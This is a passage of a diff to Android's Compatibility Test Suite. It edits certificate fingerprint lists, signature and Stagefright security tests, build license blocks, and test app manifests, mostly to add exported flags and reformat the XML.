+      "73:A5:E6:4A:3B:FF:83:16:FF:0E:DC:CC:61:8A:90:6E:4E:AE:4D:74",
       "07:E0:32:E0:20:B7:2C:3F:19:2F:06:28:A2:59:3A:19:A7:0F:06:9E",
       "D6:DA:A8:20:8D:09:D2:15:4D:24:B5:2F:CB:34:6E:B2:58:B2:8A:58",
-      "32:3C:11:8E:1B:F7:B8:B6:52:54:E2:E2:10:0D:D6:02:90:37:F0:96",
       "80:94:64:0E:B5:A7:A1:CA:11:9C:1F:DD:D5:9F:81:02:63:A7:FB:D1",
+      "E7:F3:A3:C8:CF:6F:C3:04:2E:6D:0E:67:32:C5:9E:68:95:0D:5E:D2",
       "67:65:0D:F1:7E:8E:7E:5B:82:40:A4:F4:56:4B:CF:E2:3D:69:C6:F0",
       "4A:BD:EE:EC:95:0D:35:9C:89:AE:C7:52:A1:2C:5B:29:F6:D6:AA:0C",
       "DD:FB:16:CD:49:31:C9:73:A2:03:7D:3F:C8:3A:4D:7D:77:5D:05:E4",
       "36:B1:2B:49:F9:81:9E:D7:4C:9E:BC:38:0F:C6:56:8F:5D:AC:B2:F7",
       "37:F7:6D:E6:07:7C:90:C5:B1:3E:93:1A:B7:41:10:B4:F2:E4:9A:27",
-      "AA:DB:BC:22:23:8F:C4:01:A1:27:BB:38:DD:F4:1D:DB:08:9E:F0:12",
       "E2:52:FA:95:3F:ED:DB:24:60:BD:6E:28:F3:9C:CC:CF:5E:B3:3F:DE",
+      "26:F9:93:B4:ED:3D:28:27:B0:B9:4B:A7:E9:15:1D:A3:8D:92:E5:32",
       "3B:C4:9F:48:F8:F3:73:A0:9C:1E:BD:F8:5B:B1:C3:65:C7:D8:11:B3",
       "0F:36:38:5B:81:1A:25:C3:9B:31:4E:83:CA:E9:34:66:70:CC:74:B4",
       "28:90:3A:63:5B:52:80:FA:E6:77:4C:0B:6D:A7:D6:BA:A6:4A:F2:E8",
@@ -133,8 +126,6 @@
       "F5:17:A2:4F:9A:48:C6:C9:F8:A2:00:26:9F:DC:0F:48:2C:AB:30:89",
       "3B:C0:38:0B:33:C3:F6:A6:0C:86:15:22:93:D9:DF:F5:4B:81:C0:04",
       "D2:73:96:2A:2A:5E:39:9F:73:3F:E1:C7:1E:64:3F:03:38:34:FC:4D",
-      "03:9E:ED:B8:0B:E7:A0:3C:69:53:89:3B:20:D2:D9:32:3A:4C:2A:FD",
-      "1E:0E:56:19:0A:D1:8B:25:98:B2:04:44:FF:66:8A:04:17:99:5F:3F",
       "DF:3C:24:F9:BF:D6:66:76:1B:26:80:73:FE:06:D1:CC:8D:4F:82:A4",
       "51:C6:E7:08:49:06:6E:F3:92:D4:5C:A0:0D:6D:A3:62:8F:C3:52:39",
       "D3:DD:48:3E:2B:BF:4C:05:E8:AF:10:F5:FA:76:26:CF:D3:DC:30:92",
@@ -144,6 +135,7 @@
       "B8:BE:6D:CB:56:F1:55:B9:63:D4:12:CA:4E:06:34:C7:94:B2:1C:C0",
       "AE:C5:FB:3F:C8:E1:BF:C4:E5:4F:03:07:5A:9A:E8:00:B7:F7:B6:FA",
       "DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
+      "8F:6B:F2:A9:27:4A:DA:14:A0:C4:F4:8E:61:27:F9:C0:1E:78:5D:D1",
       "F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
       "AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
       "5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
@@ -155,13 +147,12 @@
       "0F:F9:40:76:18:D3:D7:6A:4B:98:F0:A8:35:9E:0C:FD:27:AC:CC:ED",
       "48:12:BD:92:3C:A8:C4:39:06:E7:30:6D:27:96:E6:A4:CF:22:2E:7D",
       "F9:B5:B6:32:45:5F:9C:BE:EC:57:5F:80:DC:E9:6E:2C:C7:B2:78:B7",
-      "E6:21:F3:35:43:79:05:9A:4B:68:30:9D:8A:2F:74:22:15:87:EC:79",
       "89:DF:74:FE:5C:F4:0F:4A:80:F9:E3:37:7D:54:DA:91:E1:01:31:8E",
       "7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E",
+      "2F:8F:36:4F:E1:58:97:44:21:59:87:A5:2A:9A:D0:69:95:26:7F:B5",
       "E1:C9:50:E6:EF:22:F8:4C:56:45:72:8B:92:20:60:D7:D5:A7:A3:E8",
       "14:88:4E:86:26:37:B0:26:AF:59:62:5C:40:77:EC:35:29:BA:96:01",
       "8A:C7:AD:8F:73:AC:4E:C1:B5:75:4D:A5:40:F4:FC:CF:7C:B5:8E:8C",
-      "4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
       "5A:8C:EF:45:D7:A6:98:59:76:7A:8C:8B:44:96:B5:78:CF:47:4B:1A",
       "8D:A7:F9:65:EC:5E:FC:37:91:0F:1C:6E:59:FD:C1:CC:6A:6E:DE:16",
       "B1:2E:13:63:45:86:A4:6F:1A:B2:60:68:37:58:2D:C4:AC:FD:94:97",
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 3aec394..0e0657a 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -103,10 +103,11 @@
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata2));
-        // The following keys are no longer in use by modules, but it won't negatively affect tests
-        // to include their signatures here too.
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata3));
+        // The following keys are not not used by modules on the latest Android release, but it
+        // won't negatively affect tests to include their signatures here too.
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata2));
         return wellKnownSignatures;
     }
 
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 949d4ce..dd2eaa4 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -2413,11 +2413,6 @@
                 } catch (Exception e) {
                     // local exceptions ignored, not security issues
                 } finally {
-                    try {
-                        codec.stop();
-                    } catch (Exception e) {
-                        // local exceptions ignored, not security issues
-                    }
                     codec.release();
                     renderTarget.destroy();
                 }
diff --git a/tests/tests/security/testdata/packageinstallertestapp.xml b/tests/tests/security/testdata/packageinstallertestapp.xml
index 7c35c11..5e6e066 100644
--- a/tests/tests/security/testdata/packageinstallertestapp.xml
+++ b/tests/tests/security/testdata/packageinstallertestapp.xml
@@ -16,21 +16,22 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.security.cts.packageinstallertestapp"
-          android:versionCode="1"
-          android:versionName="1.0" >
+     package="android.security.cts.packageinstallertestapp"
+     android:versionCode="1"
+     android:versionName="1.0">
 
 
     <package-verifier android:name="android.security.cts"
-                      android:publicKey="MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rB8dYLa9mhYe9GICodUFVdjzh00SsfzpdMZ4UGIGF6VY/7D/TCdT5vjdXOdOQtsQnM/nZSgUPgBVX8RObm4/PRix68rdl2J58/LstcqdG6EaExb5hPUzHUuvOfd+p+IP+0SFEuRrWeGsmkzvdnxC2ZZjzEpE8UNDS8EtC2qULkF0cAGcHdHsjlktXRvn4FO+RN1GW6yxs8mOyCabNHASe3AynYFa894Iamu99+RK51+3iyw+u4cVUeVPH3CzJ2Pu1PyqT+9l4gKUbw0gfC6D0/PNEfxe4RPrtn3Z8+ES8+jXPjBLLaMTpT9dFcP25kBwNLiV0MJdTOdZ3f30urtJQIDAQAB" />
+         android:publicKey="MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rB8dYLa9mhYe9GICodUFVdjzh00SsfzpdMZ4UGIGF6VY/7D/TCdT5vjdXOdOQtsQnM/nZSgUPgBVX8RObm4/PRix68rdl2J58/LstcqdG6EaExb5hPUzHUuvOfd+p+IP+0SFEuRrWeGsmkzvdnxC2ZZjzEpE8UNDS8EtC2qULkF0cAGcHdHsjlktXRvn4FO+RN1GW6yxs8mOyCabNHASe3AynYFa894Iamu99+RK51+3iyw+u4cVUeVPH3CzJ2Pu1PyqT+9l4gKUbw0gfC6D0/PNEfxe4RPrtn3Z8+ES8+jXPjBLLaMTpT9dFcP25kBwNLiV0MJdTOdZ3f30urtJQIDAQAB"/>
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="PackageInstallerTest Test App">
-        <activity android:name="android.security.cts.packageinstallertestapp.MainActivity">
+        <activity android:name="android.security.cts.packageinstallertestapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/security/testeffect/Android.bp b/tests/tests/security/testeffect/Android.bp
index 381a57b..23bd6fd 100644
--- a/tests/tests/security/testeffect/Android.bp
+++ b/tests/tests/security/testeffect/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 // Test effect library
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctstesteffect",
     srcs: ["CTSTestEffect.cpp"],
diff --git a/tests/tests/selinux/common/jni/Android.bp b/tests/tests/selinux/common/jni/Android.bp
index 3952bc2..275b0ce 100644
--- a/tests/tests/selinux/common/jni/Android.bp
+++ b/tests/tests/selinux/common/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsselinux_jni",
     srcs: [
diff --git a/tests/tests/selinux/selinuxEphemeral/Android.bp b/tests/tests/selinux/selinuxEphemeral/Android.bp
index cfa537d..b1299d2 100644
--- a/tests/tests/selinux/selinuxEphemeral/Android.bp
+++ b/tests/tests/selinux/selinuxEphemeral/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSelinuxEphemeralTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk25/Android.bp b/tests/tests/selinux/selinuxTargetSdk25/Android.bp
index 5d3af6f..3021200 100644
--- a/tests/tests/selinux/selinuxTargetSdk25/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk25/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSelinuxTargetSdk25TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk27/Android.bp b/tests/tests/selinux/selinuxTargetSdk27/Android.bp
index 8514426..269b574 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk27/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSelinuxTargetSdk27TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk28/Android.bp b/tests/tests/selinux/selinuxTargetSdk28/Android.bp
index aab89af..f2dddbc 100644
--- a/tests/tests/selinux/selinuxTargetSdk28/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk28/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSelinuxTargetSdk28TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk29/Android.bp b/tests/tests/selinux/selinuxTargetSdk29/Android.bp
index 6a5e847..5307277 100644
--- a/tests/tests/selinux/selinuxTargetSdk29/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk29/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSelinuxTargetSdk29TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk29/TEST_MAPPING b/tests/tests/selinux/selinuxTargetSdk29/TEST_MAPPING
new file mode 100644
index 0000000..fa4a8c1
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk29/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSelinuxTargetSdk29TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
index b51a5e6..e192e84 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSelinuxTargetSdkCurrentTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/settings/Android.bp b/tests/tests/settings/Android.bp
index 246e3fd..b55ecaa 100644
--- a/tests/tests/settings/Android.bp
+++ b/tests/tests/settings/Android.bp
@@ -1,8 +1,4 @@
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSettingsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/sharesheet/Android.bp b/tests/tests/sharesheet/Android.bp
index 8b4b62a..5832998 100644
--- a/tests/tests/sharesheet/Android.bp
+++ b/tests/tests/sharesheet/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSharesheetTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/sharesheet/AndroidManifest.xml b/tests/tests/sharesheet/AndroidManifest.xml
index 5723d51..ae11600 100644
--- a/tests/tests/sharesheet/AndroidManifest.xml
+++ b/tests/tests/sharesheet/AndroidManifest.xml
@@ -16,65 +16,65 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sharesheet.cts">
+     package="android.sharesheet.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
     <!-- Allows test to query for all installed apps, needed to test excluding components -->
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <!-- Needed permission and android:requestLegacyExternalStorage to dump screenshots in case of
-         failure -->
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+                 failure -->
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
 
-    <application 
-        android:requestLegacyExternalStorage="true"
-        android:label="@string/test_app_label">
+    <application android:requestLegacyExternalStorage="true"
+         android:label="@string/test_app_label">
 
-        <uses-library android:name="android.test.runner" />
-    
-        <activity android:name=".CtsSharesheetDeviceActivity">
+        <uses-library android:name="android.test.runner"/>
+
+        <activity android:name=".CtsSharesheetDeviceActivity"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
 
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="test/cts" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="test/cts"/>
             </intent-filter>
 
             <!-- Used to provide Sharing Shortcuts -->
             <meta-data android:name="android.app.shortcuts"
-                    android:resource="@xml/shortcuts"/>
+                 android:resource="@xml/shortcuts"/>
 
             <meta-data android:name="android.service.chooser.chooser_target_service"
-                    android:value=".CtsSharesheetChooserTargetService"/>
+                 android:value=".CtsSharesheetChooserTargetService"/>
 
         </activity>
 
         <service android:name=".CtsSharesheetChooserTargetService"
-            android:permission="android.permission.BIND_CHOOSER_TARGET_SERVICE">
+             android:permission="android.permission.BIND_CHOOSER_TARGET_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.chooser.ChooserTargetService" />
+                <action android:name="android.service.chooser.ChooserTargetService"/>
             </intent-filter>
         </service>
 
         <activity-alias android:name=".ExtraInitialIntentTestActivity"
-                        android:label="@string/test_extra_initial_intents_label"
-                        android:targetActivity=".CtsSharesheetDeviceActivity"/>
+             android:label="@string/test_extra_initial_intents_label"
+             android:targetActivity=".CtsSharesheetDeviceActivity"/>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.sharesheet.cts"
-                     android:label="CTS tests of android.sharesheet">
+         android:targetPackage="android.sharesheet.cts"
+         android:label="CTS tests of android.sharesheet">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/sharesheet/packages/Android.bp b/tests/tests/sharesheet/packages/Android.bp
index 3d2363b..bb2f804 100644
--- a/tests/tests/sharesheet/packages/Android.bp
+++ b/tests/tests/sharesheet/packages/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSharesheetActivityLabelTester",
     defaults: ["cts_defaults"],
@@ -62,4 +58,4 @@
         "android.sharesheet.cts.packages.excludetester",
     ],
     manifest: "AndroidManifest-ExcludeTester.xml",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/sharesheet/packages/AndroidManifest-ActivityLabelTester.xml b/tests/tests/sharesheet/packages/AndroidManifest-ActivityLabelTester.xml
index 9da4a37..635907c 100644
--- a/tests/tests/sharesheet/packages/AndroidManifest-ActivityLabelTester.xml
+++ b/tests/tests/sharesheet/packages/AndroidManifest-ActivityLabelTester.xml
@@ -16,21 +16,23 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sharesheet.cts.packages">
+     package="android.sharesheet.cts.packages">
 
     <application android:label="App A">
 
-        <activity android:name=".LabelTestActivity" android:label="Activity A">
+        <activity android:name=".LabelTestActivity"
+             android:label="Activity A"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
 
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="test/cts" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="test/cts"/>
             </intent-filter>
 
         </activity>
@@ -38,4 +40,3 @@
     </application>
 
 </manifest>
-
diff --git a/tests/tests/sharesheet/packages/AndroidManifest-ExcludeTester.xml b/tests/tests/sharesheet/packages/AndroidManifest-ExcludeTester.xml
index ca2e79e..24b8762 100644
--- a/tests/tests/sharesheet/packages/AndroidManifest-ExcludeTester.xml
+++ b/tests/tests/sharesheet/packages/AndroidManifest-ExcludeTester.xml
@@ -16,21 +16,22 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sharesheet.cts.packages">
+     package="android.sharesheet.cts.packages">
 
     <application android:label="Bl Label">
 
-        <activity android:name=".LabelTestActivity">
+        <activity android:name=".LabelTestActivity"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
 
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="test/cts" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="test/cts"/>
             </intent-filter>
 
         </activity>
@@ -38,4 +39,3 @@
     </application>
 
 </manifest>
-
diff --git a/tests/tests/sharesheet/packages/AndroidManifest-IntentFilterLabelTester.xml b/tests/tests/sharesheet/packages/AndroidManifest-IntentFilterLabelTester.xml
index 1169b49..6450034 100644
--- a/tests/tests/sharesheet/packages/AndroidManifest-IntentFilterLabelTester.xml
+++ b/tests/tests/sharesheet/packages/AndroidManifest-IntentFilterLabelTester.xml
@@ -16,21 +16,23 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sharesheet.cts.packages">
+     package="android.sharesheet.cts.packages">
 
     <application android:label="App If">
 
-        <activity android:name=".LabelTestActivity" android:label="Activity If">
+        <activity android:name=".LabelTestActivity"
+             android:label="Activity If"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
 
             <intent-filter android:label="IntentFilter If">
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="test/cts" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="test/cts"/>
             </intent-filter>
 
         </activity>
@@ -38,4 +40,3 @@
     </application>
 
 </manifest>
-
diff --git a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
index ba22270..7602bae 100644
--- a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
+++ b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
@@ -531,7 +531,7 @@
                 mContext,
                 9384 /* number not relevant */ ,
                 new Intent(ACTION_INTENT_SENDER_FIRED_ON_CLICK),
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Intent shareIntent = Intent.createChooser(intent, null, pi.getIntentSender());
 
diff --git a/tests/tests/shortcutmanager/Android.bp b/tests/tests/shortcutmanager/Android.bp
index 776ce70..2c7667c 100644
--- a/tests/tests/shortcutmanager/Android.bp
+++ b/tests/tests/shortcutmanager/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsShortcutManagerTestCases",
     defaults: [
diff --git a/tests/tests/shortcutmanager/AndroidManifest.xml b/tests/tests/shortcutmanager/AndroidManifest.xml
index 29b2e83..05e6ef7 100755
--- a/tests/tests/shortcutmanager/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/AndroidManifest.xml
@@ -13,54 +13,57 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.pm.cts.shortcutmanager"
-    android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
+     package="android.content.pm.cts.shortcutmanager"
+     android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="android.content.pm.cts.shortcutmanager.MyActivity" />
+        <activity android:name="android.content.pm.cts.shortcutmanager.MyActivity"/>
 
         <activity-alias android:name="non_main"
-            android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity" >
+             android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity">
         </activity-alias>
         <activity-alias android:name="disabled_main"
-            android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity"
-            android:enabled="false">
+             android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
         <activity-alias android:name="main"
-            android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity">
+             android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="main_shortcut_config"
-                        android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity">
+             android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.CREATE_SHORTCUT" />
+                <action android:name="android.intent.action.CREATE_SHORTCUT"/>
             </intent-filter>
         </activity-alias>
 
         <!-- It's not exporeted, but should still be launchable. -->
         <activity android:name="android.content.pm.cts.shortcutmanager.ShortcutLaunchedActivity"
-            android:exported="false"/>
+             android:exported="false"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.content.pm.cts.shortcutmanager"
-        android:label="CTS tests for ShortcutManager">
+         android:targetPackage="android.content.pm.cts.shortcutmanager"
+         android:label="CTS tests for ShortcutManager">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml
index ec688fe..4b7dcd9 100755
--- a/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml
@@ -16,40 +16,43 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.pm.cts.shortcutmanager.packages"
-    android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
+     package="android.content.pm.cts.shortcutmanager.packages"
+     android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="Launcher">
+        <activity android:name="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
         <activity-alias android:name="Launcher2"
-                android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity-alias>
         <activity-alias android:name="Launcher3"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity-alias>
-        <activity android:name="ShortcutConfirmPin">
+        <activity android:name="ShortcutConfirmPin"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT" />
+                <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT"/>
             </intent-filter>
         </activity>
     </application>
 </manifest>
-
